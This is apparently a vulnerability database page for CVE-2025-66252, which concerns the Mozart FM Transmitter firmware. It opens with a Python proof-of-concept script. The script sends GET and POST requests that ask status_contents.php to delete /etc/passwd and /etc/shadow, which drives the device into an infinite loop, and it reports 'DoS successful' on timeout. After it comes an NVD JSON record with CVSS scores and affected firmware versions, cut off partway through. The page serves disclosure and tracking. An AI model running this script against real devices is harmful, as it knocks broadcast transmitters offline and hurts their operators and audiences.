CVE-2025-66252

import requests # CVE-2025-66252 PoC - Infinite Loop DoS # Target: Mozart FM Transmitter status_contents.php # This PoC demonstrates how to trigger the infinite loop by requesting deletion of an immutable file target_url = "http://target-server/status_contents.php" # Method 1: Direct request to trigger file deletion loop params = { 'action': 'delete', 'file': '/etc/passwd' # Immutable system file that cannot be deleted } print("[*] Sending DoS request...") try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Response Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target is not responding - DoS successful") # Method 2: POST request with specific parameters data = { 'delete_file': '/etc/shadow', # Another immutable file 'confirm': 'yes' } print("[*] Sending POST DoS request...") try: response = requests.post(target_url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") except requests.exceptions.Timeout: print("[+] Target is not responding - DoS successful")

{"cve": {"id": "CVE-2025-66252", "sourceIdentifier": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "published": "2025-11-26T01:16:08.273", "lastModified": "2025-12-03T16:47:18.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Infinite Loop Denial of Service via Failed File Deletion in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform Infinite loop when unlink() fails in status_contents.php causing DoS. Due to the fact that the unlink operation is done in a while loop; if an immutable file is specified or otherwise a file in which the process has no permissions to delete; it would repeatedly attempt to do in a loop."}], "metrics": {"cvssMetricV40": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "b7efe717-a805-47cf-8e9a-921fca0ce0ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_100_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2B25533-2EF5-4158-9505-1CD18463DB68"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_100:-:*:*:*:*:*:*:*", "matchCriteriaId": "7834E460-78EE-456A-84F7-0DECE004BD80"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_1000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A3497F7E-0433-444B-A58A-A795C8833966"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_1000:-:*:*:*:*:*:*:*", "matchCriteriaId": "FDEB3E77-E3D8-4878-BBE3-74530F3469B4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_2000_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "A975C91C-59BD-44AC-9F67-0682CE173738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_2000:-:*:*:*:*:*:*:*", "matchCriteriaId": "F30F6688-FCDA-4BA5-ABD9-0EB91CDF7631"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_30_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F7B57D15-6192-4D68-9CC5-726E052E7DDD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:mozart_next_30:-:*:*:*:*:*:*:*", "matchCriteriaId": "EA1C3BA1-3E25-474B-B2A4-97136D6287BA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:mozart_next_300_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "F0130D6C-CE17-4046-B0EB-0AD2DA7DC6AC"}]}, {"op ... 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